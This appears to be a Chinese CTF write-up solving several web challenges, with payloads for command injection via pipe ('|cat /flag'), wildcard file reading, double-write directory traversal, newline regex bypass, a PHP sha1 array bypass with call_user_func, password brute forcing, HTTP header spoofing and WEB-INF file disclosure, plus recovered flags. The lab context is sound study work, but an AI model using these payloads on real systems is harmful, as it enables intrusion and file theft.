RceMe
限制了com有存在值并且长度不超过5
payload:nl绕过直接读取
(/*
是一个通配符,表示根目录下的所有文件和文件夹。因此,nl /*
尝试对根目录下的所有文件内容进行编号并输出。)
?com=nl /*
命令执行RCE及其绕过详细总结(各情景下的绕过)_命令执行绕过-CSDN博客
ezGame
抓包,修改分数flag.php?score=10000
第二种方法,在控制台输入obj.score = 10000;obj.getFlag();
Ping
strpos()
函数用于查找字符串中第一次出现指定子字符串的位置。这里检查 $ip
中是否包含分号 ; -c 1
表示只发送一个 ICMP Echo 请求包。将用户传入的 ip
地址拼接到命令后面,从而对该 IP 地址进行一次 ping 测试。
$ip
中不能包含分号,管道符绕过,payload:
?ip=127.0.0.1|cat /flag
使用 127.0.0.1 作为ping
的目标地址,是因为它是一个肯定存在且可访问的本地地址,无论本地网络实际连接状态如何,都应该能够成功ping
通
或者
?ip=|cat /flag
Through
目录穿越,双写绕过,payload:
?file=....//....//....///flag
目录穿越/遍历漏洞 -- 学习笔记_目录遍历漏洞描述-CSDN博客
商师一日游
查看源码
flag{3
根据这个描述,打开你的终端,构造一块fish牌的曲奇饼,上面刻下strong字样,便可获得强筋壮骨牌鱼食曲奇
972f
进入终端,在devtool中找到复活币
447a75
0419d9d
第一次正则表达式使用了多行模式 m
,而第二次没有 ,要echo xxxxxxxxxx,即匹配第一个正则,不匹配第二个正则
用%0a换行符绕过,payload:
?hhh=%0aphp
73d0f43d
手动删除disabled
8ea6b
f}
最后所有拼在一起flag{3972f447a750419d9d73d0f43d8ea6bf}
My Blog
信息搜集
目录扫描得到找到登录页面
\
用给的账号密码登录
baby rce
$token = false;
:初始化一个布尔变量$token
为false
,用于标记是否通过第一级验证。if(isset($param1) && isset($param2))
:检查$param1
和$param2
是否都被设置。if(sha1($param1) == sha1($param2))
:比较$param1
和$param2
的 SHA-1 哈希值。如果相等,则将$token
设置为true
,并输出 "Level 1 pass"。ublic $person = 20;
和public $computer_number = 30;
:定义类的两个公共属性$person
和$computer_number
,并分别初始化为 20 和 30。function getNumber()
:如果$this->person
被设置,则输出其值。function isFullUse()
:比较$this->person
和$this->computer_number
的值,如果不相等,则输出 "computer is lacking !!!";否则,输出 "computer is enough !!!"。static function getKey()
:这是一个静态方法,用于包含flag.php
文件,并输出 "Level 2 pass" 和$flag
的值。call_user_func($_POST['payload']);
:如果通过第一级验证,则调用$_POST['payload']
指定的函数。用户需要通过 POST 请求传入一个可调用的函数名,并且该函数需要能够触发TYctf::getKey()
方法来获取flag
。
使用数组来绕过 SHA-1 哈希比较,因为 sha1()
函数在处理数组时会返回 false
,所以 sha1(array()) == sha1(array())
为 true
。
GET:
?param1[]=1¶m2[]=2
通过 POST 请求传入 TYctf::getKey
作为 payload
的值,即可触发 getKey()
方法获取 flag
。
POST:
payload=TYctf::getKey
无参之舞 
随便输入一个账号和密码进行爆破,得到了他的账号是sqctf 接着爆破密码
得到它的username=sqctf
password=1q2w3e4r 登录
payload:
var_dump(scandir('.')); .表示当前目录
readfile('f1ag.php');
查看源码
eeaassyy
右键被禁用,打开开发人员工具,查看源代码
Are you from SQNU?
按下按钮可以看到参数tyctf,然后这个参数post随便传,然后再根据提示一步步写
把Referer改成https://sqnu-tysec.com
把User-Agent改为TYsecBrowser
添加 X-Forwarded-For: 127.0.0.1
把Cookie改为 user=admin,得到flag
File_download
题目提示xml,我们访问WEB-INF/web.xmlWEB-INF/web.xml泄露漏洞及其利用_web-inf-web-xml-disclosure-CSDN博客
打开这个文件
filename=WEB-INF/classes/com/ctf/flag/FlagManager.class
把这个.class文件放到JAVA反向工程网上去java反编译,得到java文件
然后解密
key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]
flag = []
for k in key:
# 逆向运算: c = (k ^ 48) - ord('&')
c = (k ^ 48) - ord('&')
flag.append(chr(c))
print(''.join(flag))
#85caad1c-33e3-0bc1-6d5e-a73b044f7d9f